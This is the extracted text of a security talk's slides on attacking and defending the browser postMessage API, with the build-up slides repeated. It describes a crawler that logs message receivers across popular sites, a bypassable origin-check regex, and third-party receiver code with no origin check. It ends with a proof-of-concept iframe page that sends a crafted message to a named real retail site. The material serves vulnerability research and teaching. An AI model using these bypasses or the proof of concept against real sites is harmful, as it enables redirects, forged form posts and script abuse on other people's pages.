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THE POSTMAN ALWAYS RINGS TWICE ATTACKING AND DEFENDING postMessage LUKAS KLEIN
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postMessage?
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postMessage?
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postMessage?
•controlled mechanism to circumvent SOP
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postMessage?
•controlled mechanism to circumvent SOP
•dispatches MessageEvent
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postMessage?
•controlled mechanism to circumvent SOP
•dispatches MessageEvent
•type (always “message”)
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postMessage?
•controlled mechanism to circumvent SOP
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
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postMessage?
•controlled mechanism to circumvent SOP
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
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postMessage?
•controlled mechanism to circumvent SOP
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
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postMessage?
•controlled mechanism to circumvent SOP
•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
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•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
postMessage?
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•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
postMessage?
http://hostname:port
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•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
postMessage?
http://hostname:port
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•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
postMessage?
http://hostname:port
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•dispatches MessageEvent
•type (always “message”)
•data (user supplied)
•origin (origin of the window calling)
•source (window calling)
postMessage?
http://hostname:port
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Potential Problems
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Potential Problems
•You HAVE to check the origin
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Potential Problems
•You HAVE to check the origin
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Potential Problems
•You HAVE to check the origin
•CORRECTLY!
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Mobile Detector
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Mobile Detector
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Mobile Detector
• for site in alexa_top_10000:
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Mobile Detector
• for site in alexa_top_10000:• desktop_url = request(site, user_agent=desktop)
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Mobile Detector
• for site in alexa_top_10000:• desktop_url = request(site, user_agent=desktop)• mobile_url = request(site, user_agent=mobile)
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Mobile Detector
• for site in alexa_top_10000:• desktop_url = request(site, user_agent=desktop)• mobile_url = request(site, user_agent=mobile)
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Mobile Detector
• for site in alexa_top_10000:• desktop_url = request(site, user_agent=desktop)• mobile_url = request(site, user_agent=mobile)
• if desktop_url != mobile_url:
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Mobile Detector
• for site in alexa_top_10000:• desktop_url = request(site, user_agent=desktop)• mobile_url = request(site, user_agent=mobile)
• if desktop_url != mobile_url:• has_mobile_version = True
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Mobile Detector
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Mobile Detector
• ~ 2500 dedicated mobile sites
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Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
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Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
• http://site.tld/?session=123 vs. http://site.tld/?session=456
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Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
• http://site.tld/?session=123 vs. http://site.tld/?session=456
• After manual cleanup: ~2170 mobile sites remaining
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Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
• http://site.tld/?session=123 vs. http://site.tld/?session=456
• After manual cleanup: ~2170 mobile sites remaining
• Most common:
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Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
• http://site.tld/?session=123 vs. http://site.tld/?session=456
• After manual cleanup: ~2170 mobile sites remaining
• Most common:
• m.domain
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Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
• http://site.tld/?session=123 vs. http://site.tld/?session=456
• After manual cleanup: ~2170 mobile sites remaining
• Most common:
• m.domain
• domain/m
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Mobile Detector
• ~ 2500 dedicated mobile sites
• Many false positives
• http://site.tld/?session=123 vs. http://site.tld/?session=456
• After manual cleanup: ~2170 mobile sites remaining
• Most common:
• m.domain
• domain/m
• domain/mobile
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Data Collector
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Data Collector
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Data Collectorpage.settings.userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) …
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Data Collectorpage.settings.userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) …
page.onInitialized = function() { page.evaluate(function() {
}); };
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Data Collectorpage.settings.userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) …
page.onInitialized = function() { page.evaluate(function() {
}); };
page.open(args[1], function(status) { phantom.exit(); });
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Data Collectorpage.settings.userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) …
page.onInitialized = function() { page.evaluate(function() {
}); };
(function(oldEventListener) { var logReceiver = function(location, name, code) { /* Logs the location, receiver name and receiver code to our web api */ xmlhttp = new XMLHttpRequest(); xmlhttp.open('POST', 'https://collector.herokuapp.com/receivers/', true); var params = 'url=' + encodeURIComponent(location) + \
'&receiver_name=' + encodeURIComponent(name) + \ ’&receiver_code=' + encodeURIComponent(code);
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xmlhttp.setRequestHeader('Content-Length', params.length); xmlhttp.setRequestHeader('Connection', 'close'); xmlhttp.send(params); };
// Overwrite the window.addEventListener function window.addEventListener = function(type, listener, useCapture) { if(/message/i.test(type)) { // If event is of type message logReceiver(document.location, listener.name || '-', listener.toString()); } } })(window.addEventListener);
page.open(args[1], function(status) { phantom.exit(); });
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Data Collector
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Data Collector
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Data Collector
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Data Collector
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Data Collector
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Data Collector
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Data Collector
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Data Collector
• ~2800 Receivers
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Data Collector
• ~2800 Receivers
• ~800 Uniques
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function ka(a) { if (/[\/|\.]chartbeat\.com$/.test(a.origin)) { ... } }
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[\/|\.]chartbeat\.com$
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[\/|\.]chartbeat\.com$
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[\/|\.]chartbeat\.com$
/ or | or .
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lukasklein.com/chartbeat.com
is valid!
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function (e) { /* Our messages are always exchanged using a string protocol, If the data is not a string, we should skip the parsing */ if (typeof e.data !== 'string') return;
var message = e.data.split(',')[0] var value = e.data.split(',')[1] if ( message === "close" ) { esc(value, true) } if ( message === "redirect" ) { yiel.yieldify_will_redirect = true form_refill_capture(); value = e.data.substring(e.data.indexOf(",")+1) window.location.href = value } if ( message === "direct_show" ) { yiel.fn.deleteYieldifyCookie("after_submit") yiel_visible("campaign",value, true); } if ( message === "form" ) { var s = value.split(';')[1] s = decodeURIComponent(s) var data = {} var sp= s.split('&') var key,aa; var i; for(i=0;i<sp.length;i++){ key = sp[i] aa=key.split('=') data[aa[0]] = aa[1] } if(value.split(';').length == 2){ yiel_post_to_url(value.split(';')[0], data, "") }else{ yiel_post_to_url(value.split(';')[0], data, value.split(';')[2]) } esc(value) } if ( message === "sales" ) { //If click a link and the id for this campaign was asked to track sales then add //a cookie by id for this campaign //The value is the id var track_sales = yiel.overlays_y[value].track_sales if(yiel.website.track_sale!=null && yiel.website.track_sale!="" && track_sales!=null var saleCookie = yiel.fn.getYieldifyCookie("sale") /*if (saleCookie!=null && saleCookie!=""){ value = saleCookie + "," + value }*/
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No origin check
at all 35
But wait, there is security!
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/* Our messages are always exchanged using a string protocol, If the data is not a string, we should skip the parsing */ if (typeof e.data !== 'string') return;
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String protocol
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message,value
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message,value
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message,value
•redirect
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message,value
•redirect
•form
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message,value
•redirect
•form
•showalert
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showalert
if ( message === "showalert" ) { alert(value) }
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POC
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<iframe id="victim" src=“\ http://www.anthropologie.eu/mobile/index.jsp?currency=200004"></iframe>
<script> var attack = function() { var victim = document.getElementById('victim').contentWindow; victim.postMessage('showalert,haha', 'http://www.anthropologie.eu'); }; </script> <button onclick="attack()">Attack</button>
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<iframe id="victim" src=“\ http://www.anthropologie.eu/mobile/index.jsp?currency=200004"></iframe>
<script> var attack = function() { var victim = document.getElementById('victim').contentWindow; victim.postMessage('showalert,haha', 'http://www.anthropologie.eu'); }; </script> <button onclick="attack()">Attack</button>
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Q&A
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